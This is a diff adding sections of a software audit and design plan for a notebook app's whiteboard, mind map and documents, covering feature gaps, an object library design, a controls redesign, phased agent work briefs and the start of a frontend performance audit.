+  - All 13 item-write routes are wrapped in `@events.writes("whiteboard_{node,sketch,object}", …)` (`routes_whiteboard.py:2259-3401`), and `events.states_at` exists (`core/events.py:319`).
+  - The only reader is `/entries/{id}/history` (`routes_entries.py:2639`), which replays the board's note text (`# name`), not its items.
+- Impact: there is no "the board as it was yesterday". Undo dies on reload (WHITEBOARD_PLAN "Open").
+- KNOWN (BACKLOG 29c, "needs a design decision"). The decision is now cheap: the change log already exists. Fix (M): brief W2.
+
+**FEAT-11. The command palette has no board or map commands.** FIXED 46a5fa0 (map rows; the board's are the whiteboard agent's)
+
+**FEAT-11. The command palette has no board or map commands.** FIXED 93bbb62 (boards; map rows come with the map's own table)
+- Evidence:
+  - `palette.js` mentions `wb` only to name the open board as the AI's subject (`:262-265`).
+  - Documents have `DOC_COMMANDS`, 47 entries (`documents.js:2337`).
+- Impact: on the two most control-dense surfaces, nothing can be found by typing its name, and a keyboard user has no index of what exists.
+- NEW. Fix (M): one `WB_COMMANDS` table feeding the palette, the menus, the shortcut sheet and the help (section 8).
+
+**FEAT-12. The AI can add to a board but cannot change, move, restyle or delete anything.** FIXED (Phase G: seven tools, test_ai_board_edit.py)
+- Evidence:
+  - The board and map tools are `read_whiteboard`, `search_whiteboard`, `add_whiteboard_card`, `add_whiteboard_link`, `generate_diagram`, `read_mindmap`, `create_mindmap`, `add_map_node` and `link_map_nodes` (`ai/tools/__init__.py:2814-2998`).
+  - None renames a topic, moves or reparents one, deletes, restyles, adds a sticky, shape, text or frame, or groups.
+- Impact: "tidy this board", "rename these three topics" or "put these stickies into frames by theme" cannot be done by the agent.
+- NEW. Fix (M): `edit_board_item`, `move_map_node`, `delete_board_item` and `add_board_shape`, each one event and one undo entry, read-before-write. Write-ups belong in AGENT_SKILLS_REFORM's tool budget.
+
+**FEAT-13. Map and board AI growth is missing.**
+- The topic menu (27 rows, `map1.js`) has no AI row. "Suggest branches", "Expand from my notes" and "Summarise this branch" are not built.
+- KNOWN (MINDMAP_PLAN §12.3 item 2). Spec in section 10 (idea M3).
+
+### Low
+
+**FEAT-14.** PNG export is 1x. Board units become pixels (`wbRasterizeSvg(svg, width, height)`, `whiteboard.js:8016`). There is no scale or transparent-background option, and the file is always `whiteboard-whole.png` or `whiteboard-selection.png`, never the board's name (`:8017`). Plan §12.2 item 10 asks for "PNG at 2x". NEW. Fix (S): add scale (1x, 2x, 3x), a transparent switch and a title-based name to the export dialog's PNG row. FIXED b21ae81
+
+**FEAT-15.** FIXED 46a5fa0 A typed topic takes two undo steps (one create, one rename). `kb100.js`: 5 Ctrl+Z took 101 topics to 99. XMind treats add-and-type as one. NEW. Fix (S): fold the first label commit into the create's undo entry when it follows within the same edit session.
+
+**FEAT-16.** FIXED 46a5fa0 After a topic label is committed, focus lands on `<body>` (`kb1.js`: `after type+Enter: BODY`). Keys still work because they are read on the document, but a screen reader loses its place and announces nothing. NEW. Fix (S): return focus to the canvas and call `wbAnnounce(label)`.
+
+**FEAT-17.** FIXED 46a5fa0 The map topic's menu has an "Order" group, "Bring to front" and "Send to back" (`map1.js`), which mean nothing in a tidied tree. NEW. Fix (S): hide it on map topics (keep it for free-layout maps only, or drop it).
+
+**FEAT-17.** The map topic's menu has an "Order" group, "Bring to front" and "Send to back" (`map1.js`), which mean nothing in a tidied tree. NEW. Fix (S): hide it on map topics (keep it for free-layout maps only, or drop it). FIXED 93bbb62
+
+**FEAT-18.** The Word export drops images: `docexport._inline` writes no picture (`core/docexport.py`, no `add_picture`). It also needs an optional extra that is absent here (`import docx` fails in `.venv`), so the default install gets a 501. The extra is KNOWN and decided; the images are NEW. Fix (S): `add_picture` for `/media` images, read from the media dir.
+
+**FEAT-19.** Surfaces disagree about what they offer. FIXED 93bbb62 (the Arrange and Edit menus)
+- The Arrange menu has align, distribute and z-order but no Group, Ungroup, Same size or Lock. Those live only on the context bar, Ctrl+G or the right-click menu.
+- Lock, comment, shape text, connector label and "export this frame" have no menu entry at all; they are only on right-click, double-click or a key (section 8).
+- NEW. Fix: section 8's single command table.

+## 8. The object library, with "Yours" (INBOX 557c, 558)
+
+### 8.1 What it is
+
+- A **Library tab** in a new left board sidebar (9.2 places the sidebar; 8.6 covers placement).
+- It offers three groups:
+  - **Recent** (the last 12 placed).
+  - **Favourites** (starred).
+  - **Libraries**: built-in sets plus the person's own libraries ("Yours" by default, and any they create or import).
+- A **search field** at the top searches names and tags across every set.
+- Each entry is a tile with a thumbnail, a name and a star. A press opens the full name and tags; the kebab offers Rename, Edit, Duplicate, Move to library, Delete and Export.
+
+### 8.2 What can be saved ("Yours", first class)
+
+| # | Kind | Saved from | What is stored | Placed as |
+| --- | --- | --- | --- | --- |
+| 1 | Element | "Save to library…" on any selection (right-click, context bar "...", Ctrl+Shift+S on a board), or drag a selection onto the sidebar | the items with positions relative to their box, links between them (ids local to the payload), group ids remapped, frame contents, comments stripped | new rows, one undo step |
+| 2 | Custom shape | "Save as a shape…" on one pen stroke or closed sketch | the path normalised to a 0..1 box, default fill and stroke, connection points (default: the 8 anchors; editable in the shape editor), a label area (default: the inscribed box) | a resizable sketch whose `data.shape` holds the path, so it scales, takes text (decision 12) and connects |
+| 3 | Style | "Save this style…" on any item | `{fill, fillOpacity, color, width, dash, caps, font_size, bold, italic, align}` for its kind; connector styles carry shape (straight, elbow, curved) and caps | applied in one press to the selection, or set as "Default for new …" |
+| 3b | Palette | "Save these colours as a palette" (from a selection or by hand, up to 16) | `{name, colours[]}` | becomes the row of swatches in every colour control (replaces the bare native picker as the first thing shown; "Custom…" still opens it) |
+| 4 | Preset | "Save as a sticky, card, text or topic preset" | that kind's style plus default text and size | the rail's sticky and text tools offer the presets on their flyout |
+| 5 | Branch | Topic menu "Save this branch to the library" | the subtree as nested `{text, style, data}` (the import model, `_parse_markdown_outline`'s shape), cross-links inside the branch | added under the selected topic through `/boards/{id}/nodes` in one transaction |
+| 6 | Template | Board menu "Save as a template…" | the whole board or map: items, links, settings (type, layout, theme, background) | "New board" and "New mind map" open a gallery: Blank, the built-ins, then Yours (BACKLOG 4b answered here) |
+
+Editing a saved item:
+- **Rename, tags and move** are inline in the details popover.
+- **Edit** opens a scratch board holding just that element. "Save back to the library" writes it and bumps `version`.
+- **Duplicate** copies the row.
+- **Delete** moves it to a library bin with Undo, matching the app's bin convention.
+
+### 8.3 Built-in sets (drawn fresh; no draw.io stencils)
+
+- **General:** rectangle, rounded rectangle, ellipse, triangle, diamond, parallelogram, hexagon, cylinder, cloud, callout, document, star, text, sticky (6 colours).
+- **Flowchart:** process, decision, terminator, data (in/out), predefined process, manual input, document, multi-document, database, delay, off-page reference, on-page connector, preparation. Each has connection points and a label area.
+- **Arrows:** block right, left, up, down, both ways, chevron, notched, U-turn.
+- **UML basics:** class (3 compartments), interface, note, actor, use case, package, lifeline, activation.
+- **Entity:** entity table (header plus rows, each row a connection point), weak entity, plus four ER cap pairs for connectors (one, many, zero-or-one, one-or-many).
+- **Network and cloud, generic:** server, database, laptop, phone, cloud, firewall, router, user, storage, queue. Drawn as a labelled box with a Phosphor glyph.
+- **Icons:** the vendored Phosphor set, 1,530 glyphs (`style.css`), searchable by name.
+  - Trap: the vendor copy is a font. Placing a glyph as `<text>` will not survive SVG or PNG export.
+  - Vendor Phosphor's SVG paths (MIT, licence beside them) for the icon set, or convert glyphs to paths at build time.
+- **Frames:** Kanban (3 columns), retrospective (4), SWOT (2x2), timeline lane. These are templates too.
+
+### 8.4 Linked or independent copies: recommend independent
+
+- A placed element becomes ordinary rows that remember where they came from (`data.library_ref = {id, version}`) but do not follow later edits.
+- Reasons:
+  - Undo stays per board (decision 17).
+  - Exports and the AI read plain items.
+  - A deleted library item breaks nothing.
+  - draw.io's own library behaves this way.
+- Later, "Update from library" on a placed copy (shown when `version` moved) replaces it in one undo step. A live symbol system stays out until asked (C12 row, P3).
+
+### 8.5 Storage and API
+
+- **Tables** (alembic migration):
+  - `libraries(id, name, kind ['yours'|'imported'|'custom'], sort, created_at, updated_at)`.
+  - `library_items(id, library_id FK, kind ['element'|'shape'|'style'|'palette'|'preset'|'branch'|'template'], name, tags JSON, payload JSON, thumbnail TEXT (an SVG string, sanitised on write; no upload), favourite BOOL, use_count INT, last_used_at, version INT, created_at, updated_at, deleted_at)`.
+  - Built-in sets are static JSON shipped in `src/memorymap/data/library/*.json`, read-only, never in the DB, so an upgrade can improve them.
+- **Payload limits:** at most 500 items, 512 KB, images by `/media/` url only (the `MEDIA_URL_RE` allowlist). `media_gc._referenced_filenames` must scan `library_items.payload` (the FEAT-06 lesson).
+- **Routes** (`routes_library_items.py`; note `routes_library.py` already exists for the Library tab):
+  - `GET /board-library?kind=&q=&library_id=&favourites=1&recent=1` lists built-ins plus rows.
+  - `POST /board-library` creates (from `{kind, name, tags, payload}`; the client builds the payload from the selection).
+  - `PUT /board-library/{id}` covers rename, tags, payload and favourite.
+  - `DELETE /board-library/{id}` is a soft delete with undo; `POST /board-library/{id}/restore`.
+  - `POST /board-library/{id}/duplicate`.
+  - `POST /whiteboard/boards/{board_id}/place` with `{item_id | builtin_key, x, y, parent_id?}` creates every row in one transaction, under one `events.writes` scope. It bumps `use_count` and `last_used_at`. The client pushes one undo batch, as `WB_RECORDED` does.
+  - `GET /board-library/export?library_id=` returns `memorymap-library-1.json` (`{format: "memorymap-library", version: 1, library, items[]}`).
+  - `POST /board-library/import` validates the schema and size, assigns new ids and lands the items in a new library named from the file. Media urls not in this install are dropped with a count in the response.
+- **Events:** `library_item` created, edited or deleted through `@events.writes`, so the History sheet and Recent activity see them.
+- **AI:** `list_library` and `place_library_item` tools (read-only plus place), so "add a decision diamond between these" works.
+
+### 8.6 Placing, including from the keyboard
+
+- **Pointer:** drag a tile onto the canvas (it lands under the pointer), or click it (it lands centred in view, offset 24 per repeat so repeated clicks fan out).
+- **Keyboard:**
+  - The sidebar list is a `listbox` with type-to-search.
+  - Enter places at the centre of the view, selected, and `#wb-announcer` says "Placed Decision".
+  - Shift+Enter places it connected to the selected item, to its right (draw.io's clone-and-connect).
+  - Alt+arrows then nudge as usual.
+- **On a map:** the Library tab shows Branches and map templates only. Enter adds the branch under the selected topic.
+
+## 9. Controls redesign, board and map (usability, utility, accessibility, learnability)
+
+### 9.1 How controls are reached today (board), measured from markup and `wb1.js`
+
+| Action | Rail | Top menus | Context bar | Right-click | Key | Problem |
+| --- | --- | --- | --- | --- | --- | --- |
+| Z-order | - | Arrange: "Bring forward ]" | "Bring forward" | "Bring to front" | ] [ | 3 names, 1 behaviour, wrong one (FEAT-07) |
+| Group or ungroup | - | not in Arrange | yes | no | Ctrl+G | missing from the menu that names arranging |
+| Same width or height | - | no | yes | no | none | context bar only |
+| Lock | - | no | no | yes | Ctrl+Shift+L | hidden |
+| Comment | - | no | no | yes, plus mark | none | hidden |
+| Shape text, link label | - | no | no | yes | Enter, double-click | no visible control |
+| Export a frame | - | no | no | frame menu | none | hidden |
+| Present frames | - | View | no | no | none | no key |
+| Copy or paste style | - | Edit | "..." | no | Ctrl+Alt+C/V | ok |
+| Duplicate | - | Edit | yes | no | Ctrl+D, Alt-drag | Alt-drag not in the help card |
+| Delete | X tool | Edit | yes | yes | Del | ok |
+| Find | top bar | no | no | no | (search toggle) | no replace |
+| Every action by name | - | - | - | - | - | no palette (FEAT-11) |
+
+Map (from §12.5 and `map1.js`):
+- Ring (6 slots), strip (3 doors, 314x38), dock, and a topic menu of **27 rows** in 5 groups, reached by "More" or Shift+F10 because right-click opens the ring.
+- No palette entries, no Outline. Layout and Tidy are in the top bar; theme, numbering and colour-by are in View.
+
+### 9.2 One coherent model (proposed)
+
+1. **One command table**, `WB_COMMANDS` (id, label, icon, key, kinds it applies to, group, run, enabled). Menus, the context bar's "...", the right-click menu, the palette, the shortcut sheet and the help popovers are all built from it. A lint fails a hand-built menu row that is not in the table (extends `tests/test_ui_recipes.py`). This is standing order 13 made structural.
+2. **Left sidebar** (`.dock`-family panel, collapsible to a 44px rail, remembered per device), with tabs:
+   - **Library** (section 8).
+   - **Layers** (9.3).
+   - **Outline** on a map (MINDMAP §12.2 item 8). This is the outline view: Tab and Shift+Tab re-parent, and an edit on either side shows on the other.
+3. **Format panel** on the right (Ctrl+Shift+P, and "..." on the context bar), hidden by default, with tabs:
+   - **Style:** fill, stroke, opacity, shadow, saved styles, palette.
+   - **Text:** font, size, B/I/U, alignment, colour.
+   - **Arrange:** X, Y, W, H, angle, flip, order (4 steps), align, distribute, size, group, lock, layer.
+   - On a map, the three tabs are **Text**, **Shape** and **Branch line** (the strip's three doors, moved), plus **Topic**: task, note, link, picture, markers.
+4. **Context bar** stays the quick bar: at most 7 controls per kind (decision 11), plus "..." that opens the Format panel.
+5. **Command palette:** Ctrl+K on a board lists `WB_COMMANDS` that apply now.
+6. **Shortcut sheet:** "?" on the canvas, generated from the table, grouped like the menus.
+7. **Right-click** is the table filtered to the target. On a map, right-click keeps the ring (§12.5); the ring's "More" and Shift+F10 open the table-built menu.
+
+### 9.3 Layers (INBOX 557b, tightened)
+
+- **Phase 1:** a tree of the board in z-order (frames, then groups, then items).
+  - Each row has show/hide (new `hidden` field on the three tables), lock (the existing decision 15 flag) and rename (a `name` in data).
+  - A press selects and zooms; a drag restacks (writes z); Delete deletes.
+  - `role="tree"` with `aria-level`, so a screen reader reaches every item without a pointer (this closes C18's row).
+  - Hidden items are skipped by export, search hits and the Tab walk, and are drawn nowhere.
+  - Pen strokes become ordinary rows in the order, which lifts ink's fixed place under cards.
+- **Phase 2:** named layers (`layer_id` on the three tables, a `board_layers` list in board settings) with show, hide, lock and "move selection to layer" (BACKLOG 29c).
+
+### 9.4 Learnability and empty states
+
+- **Empty board:** one card with three choices: "Start from a template", "Open the Library (shapes)" and "Paste or drop anything". It replaces the long key list (that moves to "?").
+- **Empty map:** "Type the central idea. Tab adds a child, Enter a sibling." (§12.5 already decides one line; keep it.)
+- **First use of each tool:** one quiet line at the rail, once per tool per install, kept in settings rather than localStorage so the desktop window and a tab agree. For example: "Hold Shift for a straight line." "Enter adds text to a shape."
+- **Locked items:** INBOX 557a's faded lock on hover.
+
+### 9.5 Decisions this conflicts with (flag for the owner; the owner's newer words win where they conflict)
+
+| Old decision | Conflict | Recommendation |
+| --- | --- | --- |
+| WHITEBOARD_PLAN decision 2: "One context bar replaces `.wb-selection-bar` and `#wb-properties-panel` … the long tail in a '...' popover" | a Format panel is a properties panel again | keep decision 2's bar; the "..." opens a docked Format panel instead of a popover. Record as decision 2 revised. |
+| Decision 12: shape text has "no size, font or alignment controls" | the Format panel's Text tab | allow them in the Format panel only; the context bar keeps its seven |
+| Decision 13: one label per connector, at the middle | draw.io has several, movable | keep one label, but let it slide along the line (`label_t`); several labels stay out |
+| Decision 14: frames are the only pages | draw.io pages | keep frames as pages; add a "Pages" view in the sidebar listing frames (no second concept) |
+| MINDMAP §12.5: three surfaces, one job each (ring, strip, dock); decision 5 "nothing added to the canvas" | the Format panel and sidebar are new surfaces | the sidebar and panel sit off-canvas; the strip's three doors move into the panel's tabs, so the topic carries the ring only. One place per action is kept. |
+| `test_freemind_imports_with_its_root_as_the_maps_name` (a code decision) | FEAT-01 | reverse it |
+| BACKLOG 4b open question ("where the template mark lives") | section 8.5 | templates are `library_items` of kind `template`, not a mark on the board |
+
+## 10. Five gaps per surface, as briefs, and three new ideas each
+
+### Whiteboard: five gaps
+
+1. **W1, object library and Yours** (Phase A below).
+2. **W2, board version history.**
+   - Goal: open History on a board to get a time slider over its event log, preview the board at any event, then restore the whole board or only the selection, as one undo step.
+   - Files:
+     - `routes_whiteboard.py`: `GET /boards/{id}/history?before=` grouping events into sessions of at most 2 minutes, and `GET /boards/{id}/at/{event_id}` replaying every item through `events.states_at`.
+     - `whiteboard.js`: a read-only overlay render.
+     - `note-history.js`: the entry point.
+   - Tests: first, a board edited 3 times replays to each state; restore creates, deletes and updates to match.
+   - Risks: compacted events (`events.is_compacted`); the item count on big boards (page by session).
+3. **W3, Layers tab plus z-order.** FEAT-07 fix; 9.3 Phase 1.
+4. **W4, connectors and flowchart shapes.**
+   - Elbow (orthogonal) routing with several waypoints. Line jumps are optional.
+   - The flowchart and General sets from 8.3 as built-in library entries, with connection points.
+   - ER caps.
+   - FIXED (Phase B): elbow routing with waypoints, ER caps, sliding labels, clone-and-connect. Line jumps not built.
+   - Gate: a 12-shape flowchart drawn by keyboard, with no edge crossing a shape box.
+5. **W5, interchange.**
+   - Paste text (FEAT-09).
+   - Mermaid flowchart in (a parser for the `graph TD/LR` subset into shapes and connectors) and out.
+   - Markdown outline export of a free board (by frame, then reading order).
+   - PNG 2x and transparent (FEAT-14).
+   - Re-editable exports (board JSON in SVG `<metadata>`).
+
+### Whiteboard: three ideas no competitor has
+
+- **Board time machine with "what changed".**
+  - The slider of W2, plus a plain-words summary between two points by the local model: "Added 6 stickies to Risks, moved Launch into Done".
+  - It reads the event log, so it works offline and costs nothing at rest.
+  - Miro's history is cloud-side and has no narrative.
+- **Notebook-bound shapes.**
+  - A shape or card can be bound to a note property (status, due, owner).
+  - Dropping it into a frame named after a value writes that value to the note ("Kanban that edits your notebook").
+  - The note's change moves the card. One field per frame (`binds: {property, value}`).
+  - No whiteboard edits a notebook's structured data in place.
+- **Grounded affinity sort.**
+  - Select 30 stickies, then "Group by theme".
+  - The local model proposes frames with names. Each sticky shows the notes in your notebook that back its placement.
+  - You accept per frame, and it is one undo step.
+  - FigJam's sort is cloud-only and ungrounded.
+
+### Mind map: five gaps
+
+1. **M1, add speed (FEAT-02).**
+   - Optimistic paint, then POST.
+   - A branch tidy without a full render.
+   - Gate: at or under 100ms key to editable at 300 topics, and 100 keyboard topics in under 30s (`kb100.js` shape).
+2. **M2, import and export reliability.**
+   - FEAT-01 (FreeMind root).
+   - FEAT-05 (imports in tree-right plus one tidy).
+   - FEAT-15 (one undo per typed topic).
+   - FEAT-16 (focus and announce).
+   - Paste of an outline (FEAT-09).
+   - Tests first: a single-root `.mm` round trip; a pasted 3-level list makes 4 topics under the selection.
+3. **M3, Outline tab** (§12.2 item 8) in the board sidebar. FIXED 0ae92b5
+   - The tree as an editable indented list, sharing `wbMapBySiblingOrder`.
+   - Tab and Shift+Tab re-parent, Enter adds a sibling, edits are live both ways.
+   - Gate: 50 topics edited from the outline show on the canvas within a frame.
+4. **M4, markers and filter** (§12.2 item 4). FIXED 9e20ef2
+   - Priority 1 to 5, progress, flag, due date (offering a reminder), tags.
+   - Several markers per topic.
+   - A View "Filter by marker" that dims the rest.
+   - Round-trips as `_priority` and the like in OPML and FreeMind; not in Markdown, by decision 12's rule (Markdown carries only what readers draw).
+5. **M5, map and document twins.** FIXED 5fb59d3 (map to document) and 885dd3b (headings to map)
+   - "Write this map as a document" builds headings by depth to level 3, then lists, with topic notes as paragraphs.
+   - "Map this document's headings" goes the other way.
+   - Both are one-shot conversions first, with a back-link in each.
+
+### Mind map: three ideas no competitor has
+
+- **Recall mode from your own notes** (§12.3 item 5, made concrete).
+  - Hide everything below the root. Each step asks "what's under Risks?". You type or think, then reveal.
+  - Topics backed by a note use that note's text as the answer and feed the app's spaced-repetition state per topic.
+  - MindNode and XMind have no recall; Anki has no maps.
+- **Map ↔ document twin, kept in sync.**
+  - Phase 2 of M5: a map and a document share one tree (the document's headings carry topic ids in hidden `^block` refs, already a syntax here).
+  - Editing either updates the other.
+  - No mind mapper keeps a live prose twin.
+- **Grounded branch growth with ghost topics.**
+  - "Grow" on a topic shows 3 to 5 faded child suggestions from notebook search plus the local model, each with its source note.
+  - Tab accepts one, Esc dismisses them all, and nothing is written until accepted (§12.3 item 2).
+
+### Documents: five gaps
+
+1. **D1, footnotes everywhere (FEAT-03).**
+   - Files: `markdown.js` (footnote pass), `documents.js` print path.
+   - Tests: node render tests; `doccomments.js` asserts no `[^` in the print render.
+2. **D2, rich paste (FEAT-04).** An allowlist HTML-to-Markdown walker in `documents.js`, wired into the CodeMirror `paste` domEventHandler beside `docTablePasteEvent`. Ctrl+Shift+V pastes plain text.
+3. **D3, Mermaid and diagrams (FEAT-08).** FIXED a02d045 (flowcharts; Open as a board is W5)
+   - Render a flowchart-subset fence as SVG in Read and Live (own parser, no vendor), falling back to code on anything unparsed.
+   - "Open as a board" turns it into W5's board import.
+4. **D4, print and page setup.** FIXED 0ae2e18 (page break) and 8f03f76 (page size, margins, page numbers; a blank print fixed)
+   - Page size (A4, Letter), margins and orientation in the print dialog's pre-step.
+   - Page numbers and a running title through `@page` margin boxes where supported, with a fallback note.
+   - A "Page break" slash item (`<div class="md-page-break">`, `break-before: page`).
+5. **D5, images in Live.** FIXED 1ac3928 (handles and align; Word pictures not done, python-docx is not in requirements)
+   - Resize handles and an align popover on an image widget, writing back the `|300|center` options.
+   - The Word export carries pictures (FEAT-18).
+
+### Documents: three ideas no competitor has
+
+- **Claim check against your notebook.**
+  - A writing aid that underlines sentences your own notes contradict or never support, with the note cited on hover.
+  - Local RAG over the notebook (search exists), findings in the existing prose panel as a fourth kind.
+  - Grammarly checks grammar; nobody checks your claims against your own sources offline.
+- **Board to draft.**
+  - From a board's frames and stickies, "Draft a document" makes a heading per frame and a paragraph per cluster.
+  - Each section links back to its frame, and the frame shows "drafted in …".
+  - Writing grows out of the whiteboard without copy and paste.
+- **Revision narrative.**
+  - Between any two revisions, the local model writes three lines on what changed and why it matters (cut the risks section, softened the claim in paragraph 4), over the existing diff.
+  - Word and Docs show diffs, not meaning.
+
+## 11. Phased execution briefs (one Opus agent each)
+
+Every brief:
+- Read CLAUDE.md, WHITEBOARD_PLAN §4 and MINDMAP_PLAN §12.0, §12.5 and §13 decisions first.
+- Enter any new decision into the plan in the same commit.
+- Commit at least every 20 minutes with the session trailers; run `scripts/gate.sh --staged` and targeted tests only.
+- Update help surfaces (order 13: `data-help-for`, `ai/help_topics_more.py`, `tests/test_manual_parity.py`) in the same commit as any control.
+- Build from DESIGN.md recipes (order 11).
+- Own port and data dir.
+
+### Phase 0, reliability (S, Sonnet-able except the perf item)
+
+- Goal: FEAT-01, 05, 06, 07, 14, 15, 16, 17 and 03.
+- Steps:
+  1. A test per bug, written first.
+  2. FreeMind root import.
+  3. Imports land in tree-right and tidy.
+  4. Background into `board_settings`, plus one-time migration, plus `media_gc` reads it.
+  5. `wbStepZOrder` and the four labels, help updated.
+  6. Export scale, transparency and name.
+  7. Fold the first label into the create's undo step.
+  8. Focus and announce after a commit.
+  9. Hide "Order" on map topics.
+  10. Footnotes in `markdown.js`.
+- Acceptance:
+  - `fm.js` round trip keeps Root.
+  - `kb100.js` on an import shows 0 overlaps.
+  - `bg1.js` orphans list empty.
+  - `wb1.js` z order is `A:2.5`, or A swaps with B, in one step.
+  - `doc2.js` print text has no `[^`.
+- Risks: the background migration must not overwrite a board that already has settings; z-order steps must skip locked and hidden items consistently.
+
+### Phase A, Library and sidebar (L, Opus): BUILT 5e84253 (Layers phase 1 with it)
+
+- Goal: section 8 (all six "Yours" kinds; built-in General, Flowchart, Arrows; others in A2) and the sidebar shell with the Library tab.
+- Files:
+  - New `src/memorymap/api/routes_board_library.py`, an alembic migration, `src/memorymap/data/library/*.json`.
+  - `whiteboard.js` (placement, save from selection).
+  - New `frontend/js/whiteboard-library.js` (lazy, like the map).
+  - `index.html` sidebar markup; `07-whiteboard-misc.css` tokens only.
+- Tests first:
+  - API CRUD, import and export schema, size limits.
+  - Place is one transaction, one event scope.
+  - `media_gc` counts library payloads.
+  - A node test of payload normalisation (relative coordinates, link and group remap).
+- Steps:
+  1. Tables plus API.
+  2. Sidebar shell (collapsible, keyboard listbox).
+  3. Built-in sets plus search.
+  4. Save selection.
+  5. Place by drag, click and Enter.
+  6. Styles and palettes (swatch row in colour controls).
+  7. Presets.
+  8. Branches.
+  9. Templates in the New board and New map dialogs.
+  10. Import and export.
+  11. Recent and Favourites.
+- Acceptance: new sweep `wblibrary.js`.
+  - Save 3 linked shapes, place twice: 6 items, 4 links, 2 undo steps.
+  - Export, delete, import: same.
+  - Keyboard-only placement announced.
+  - 0 console errors at 1440, 820 and 390.
+- Risks: the Phosphor font is not exportable (vendor SVGs, with licence); payload XSS (sanitise thumbnails; text only through existing escapes); the sidebar's effect on the canvas width at 820 (measure).
+
+### Phase B, Format panel and connectors (L, Opus): BUILT 2026-10-05 (the map's Format tabs are the map agent's)
+
+- Goal: section 9.2 items 1, 3, 4, 5 and 6 (command table, Format panel, palette, "?") and W4 (elbow connectors with waypoints, ER caps, hover clone-and-connect, Shift+Enter connect from the library).
+- Decision changes to record: decision 2 revised, decision 12 relaxed in the panel (9.5).
+- Tests first: the command table drives every menu (a lint); elbow route avoids the endpoints' boxes (pure function tests); numeric X, Y, W, H round-trip.
+- Acceptance: `wbformat.js` (each tab changes the selection, one undo each); `wbelbow.js`; palette lists at least 40 board commands; "?" sheet equals the table.
+
+### Phase C, layers and pages (M, Opus): BUILT 2026-10-05 (Layers in 5e84253; Pages and the hover lock after it; named layers stay C2)
+
+- Goal: 9.3 Phase 1 (`hidden`, tree, restack, accessible tree), then Pages view (frames listed, reorder equals presentation order).
+- Named layers stay in Phase C2 only if the owner confirms (BACKLOG 29c).
+- Acceptance:
+  - A hidden item is absent from PNG, SVG, search and the Tab walk.
+  - The drag restack writes z.
+  - The screen reader names every row (axe).
+
+### Phase D, mind map usability (L, Opus): the Outline tab's first cut (read and walk) BUILT 2026-10-05; editing in it, M1, fold-to-level and the strip's doors are the mind map agent's
+
+- Goal: M1 (latency), M3 (Outline tab), FEAT-09 map paste, the strip's doors moved into the Format panel (9.5), saved branches from Phase A in the topic menu, fold-to-level (Alt+1 to 9).
+- Gate:
+  - `lat.js` at or under 100ms at 300 topics.
+  - `kb100.js` under 30s with 0 errors and 0 overlaps.
+  - The Outline edits both ways.
+  - `mapplaces.js` still finds one place per action.
+- Risks: the render-pass rework touches `renderWhiteboard` shared with boards (run `boardundo.js`, `mapperf.js` and `mapedgelag.js`).
+
+### Phase E, interchange and history (M, Opus): W5 BUILT 2026-10-05 (Mermaid in and out, the free-board outline, the board in its SVG, XMind import); W2, the board time machine, and D3, Mermaid in documents, open
+
+- Goal: W2 (board time machine), W5 (Mermaid in and out, free-board outline export, embedded data), D3 (Mermaid in documents), XMind `.xmind` import (content.json, read-only).
+
+### Phase F, documents (M, Opus)
+
+- Goal: D2 rich paste, D4 page setup and page break, D5 image handles plus DOCX images, other-language word lists (install-time optional, like the docx extra).
+
+### Phase G, AI depth (M, Opus): FEAT-12 tools BUILT 2026-10-05 (FEAT-13 ghosts, the affinity sort and the claim check open)
+
+- Goal:
+  - FEAT-12 tools (edit, move, delete, add shape or frame, place library item).
+  - FEAT-13 grow-branch ghosts.
+  - The affinity sort.
+  - The claim check.
+- Each tool: one event, one undo entry, faked-transport tests, prompt budget (`agent.PROSE_BUDGET_CHARS`).
+
+## 12. What I could not verify
+
+- Real devices: no stylus, no real phone keyboard, no desktop webview. The background mismatch between the desktop window and a tab is reasoned from separate profiles (CLAUDE.md §5), not observed.
+- Latency on the owner's machine. The figures are headless Chromium with no GPU, one run each (the 101 and 301 rows were six adds each). The shape (it grows with size; two renders per add) is the finding, not the absolute numbers.
+- Drag-reparent and collapse by pointer were not re-driven in this pass. I relied on the existing sweeps without re-running them.
+- The empty-canvas right-click on a board returned no visible menu in `wb1.js` at (1000,700). I did not check whether the press landed on the canvas, so it is not reported.
+- Whether `/boards/generate` and the AI's `create_mindmap` also land in the Free layout (FEAT-05 is measured for import only).
+- DOCX export behaviour: python-docx is not installed here. FEAT-18 is read from `docexport.py`.
+- Mermaid, rich paste and footnotes were checked in documents. Note composers share `markdown.js`, so they are presumed affected, not measured.
+- Competitor feature lists are from product knowledge; no competitor app was run in this sandbox.

+# Audit 2026-10-05: frontend (code quality, design system, performance, responsive)
+
+Auditor: Opus agent, port 8832, data dir `/tmp/mm-audit-frontend`, head `64ddf14`.
+Notebook: 10 notes for the small runs, then 5,010 notes seeded through `POST /entries`
+(4 threads, 1,333 s). Probe scripts are in the session scratchpad
+(`perf.js`, `census.js`, `resp.js`, `libreq.js`, `lockleak.js`, `save5k.js`,
+`idle.js`, `graphprof.js`, `csscov.js`, `cachecost.js`, `floor.js`,
+`contrast2.js`); each finding names the one it came from.
+**Load average was 6 to 21 throughout** (other audit agents on the same four
+cores): every millisecond below is for comparing, byte counts and request
+counts are exact.
+
+## 1. Summary: the five worst things
+
+1. **Every launch is a cold load of 2.4 MB, 64% of the CSS and 46% of the JS being comments**: the per-process boot token makes 0 of 49 assets cacheable across launches (FE-01, FE-02).
+2. **Opening the Library list downloads a 15.9 MB uncompressed WASM grammar checker, an 871 KB word list and 2.9 MB of document and whiteboard JS**, because `documents.js` runs the prose checker at load (FE-03).
+3. **Graph at 5,000 notes never settles**: 30 s after opening, the layout is still ticking, `drawImage` alone is 7.8 s of main thread, idle busy 44% (FE-04).
+4. **Every save refetches the whole notebook**: `loadEntries()` is 27 sequential requests, 5.3 MB of JSON, 3.1 to 3.8 s and up to 1.1 s of long tasks at 5,000 notes, called from 132 sites (FE-05).
+5. **The boot budget regressed with nothing to stop it**: own boot JS is 1,384 KB gzipped (1,632 KB with p5), against 1,072 KB claimed on 2026-09-24 and a 1 MB target; no test or `gate.sh` sweep measures it (FE-06).
+
+Positive, measured: no listener or node leak across 160 tab switches at 5,000
+notes; every tab except Graph idles at 2% main thread or less with no rAF
+loop; text contrast passes in both themes on 36 views; no horizontal document
+overflow on any of 40 tab x width combinations; one dead function in 3,950.
+
+## 2. Findings, by severity
+
+### High
+
+**FE-01. Comments are shipped to the browser: 1.7 MB of CSS, 3.5 MB of JS, 328 KB of HTML.** FIXED b861898, 5f2d0d9
+- Evidence: comment share of what is served (python over the files):
